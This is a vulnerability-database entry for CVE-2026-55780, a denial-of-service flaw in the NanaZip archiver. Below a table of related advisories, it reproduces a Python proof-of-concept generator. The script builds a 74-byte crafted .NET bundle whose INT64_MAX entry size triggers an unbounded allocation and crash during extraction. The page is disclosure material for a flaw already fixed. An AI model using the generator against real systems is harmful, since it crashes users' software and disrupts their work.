Lucene search
+L

NanaZip 6.5 Denial of Service

🗓️ 20 Aug 2026 00:00:00Reported by Jorge González MillaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 47 Views

NanaZip <=6.5.1742.0 DoS via crafted .NET bundle causing unbounded allocation in DotNetSingleFile Extract().

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2026-55780
10 Jul 202616:49
–attackerkb
circl
Circl
CVE-2026-55780
10 Jul 202623:12
–circl
cve
CVE
CVE-2026-55780
10 Jul 202616:49
–cve
cvelist
Cvelist
CVE-2026-55780 NanaZip: Uncaught exception / unbounded allocation in NanaZip .NET single-file Extract() via unvalidated entry Size
10 Jul 202616:49
–cvelist
exploitdb
Exploit DB
NanaZip 6.5 - DoS
17 Aug 202600:00
–exploitdb
euvd
EUVD
EUVD-2026-42956
10 Jul 202616:49
–euvd
mend
Mend
CVE-2026-55780
10 Jul 202616:49
–mend
nvd
NVD
CVE-2026-55780
10 Jul 202617:16
–nvd
ptsecurity
Positive Technologies
PT-2026-57235
10 Jul 202600:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2026-55780: Uncaught Exception
10 Jul 202600:00
–rapid7
Rows per page
# Exploit Title: NanaZip 6.5  -  DoS
    
    # Date: 2026-07-17
    
    # Exploit Author: Pig-Tail (Jorge González Milla)
    
    # Vendor Homepage: https://github.com/M2Team/NanaZip 
    
    # Software Link: https://github.com/M2Team/NanaZip/releases 
    
    # Version: NanaZip <= 6.5 Preview (6.5.1742.0) (fixed 6.5.1749.0)
    
    # Tested on: Windows
    
    # CVE: CVE-2026-55780
    
    # Category: dos
    
    # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-55780-NanaZip 
    
    
    
    A crafted .NET single-file bundle triggers an uncaught exception / unbounded allocation in the DotNetSingleFile handler's Extract().
    
    
    
    NOTE: This PoC input was constructed by static analysis of the NanaZip.Codecs parser source
    
    (NanaZip is Windows-only); it reaches the exact vulnerable line documented in the advisory but
    
    was not executed against a running build. Benign — it only generates the malformed carrier file.
    
    
    
    --- PoC generator (GHSA-ppm9-5267-rq72.py) ---
    
    #!/usr/bin/env python3
    
    # PoC generator: uncaught exception / unbounded allocation in NanaZip's .NET
    
    # single-file Extract() (GHSA-ppm9-5267-rq72).
    
    #
    
    # A 74-byte bundle: 'MZ' stub, the 32-byte .NET bundle signature at offset 10
    
    # preceded by an int64 bundle-header offset at offset 2, then a v1 header
    
    # declaring one embedded file with Size = INT64_MAX. Extracting that entry makes
    
    # DotNetSingleFile::Extract run std::vector(Size) with no try/catch
    
    # (NanaZip.Codecs.Archive.DotNetSingleFile.cpp:804); the allocation throws across
    
    # the COM boundary. (It also triggers the GetStream(Indices[i]) NULL-deref.)
    
    import struct
    
    
    
    SIG = bytes([
    
        0x8b, 0x12, 0x02, 0xb9, 0x6a, 0x61, 0x20, 0x38,
    
        0x72, 0x7b, 0x93, 0x02, 0x14, 0xd7, 0xa0, 0x32,
    
        0x13, 0xf5, 0xb9, 0xe6, 0xef, 0xae, 0x33, 0x18,
    
        0xee, 0x3b, 0x2d, 0xce, 0x24, 0xb3, 0x6a, 0xae,
    
    ])
    
    HDR = 42  # bundle header offset
    
    
    
    buf = bytearray(74)
    
    buf[0:2]   = b"MZ"
    
    buf[2:10]  = struct.pack("<q", HDR)   # int64 header offset (read at sig-8)
    
    buf[10:42] = SIG                       # signature at i = 10
    
    
    
    o = HDR
    
    struct.pack_into("<I", buf, o, 1); o += 4                    # MajorVersion = 1 (<2)
    
    struct.pack_into("<I", buf, o, 0); o += 4                    # MinorVersion = 0
    
    struct.pack_into("<i", buf, o, 1); o += 4                    # NumberOfEmbeddedFiles = 1
    
    buf[o] = 0; o += 1                                           # BundleIdLength = 0
    
    struct.pack_into("<q", buf, o, HDR);                o += 8   # Entry.Offset (>0)
    
    struct.pack_into("<q", buf, o, 0x7FFFFFFFFFFFFFFF); o += 8   # Entry.Size = INT64_MAX
    
    buf[o] = 0;        o += 1                                    # Entry.Type = 0
    
    buf[o] = 0x01;     o += 1                                    # RelativePathLength = 1
    
    buf[o] = ord("a"); o += 1                                    # RelativePath = "a"
    
    
    
    with open("poc.bundle", "wb") as f:
    
        f.write(buf)
    
    print(len(buf), "bytes ->", "poc.bundle")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Aug 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 42.4
EPSS0.00424
SSVC
47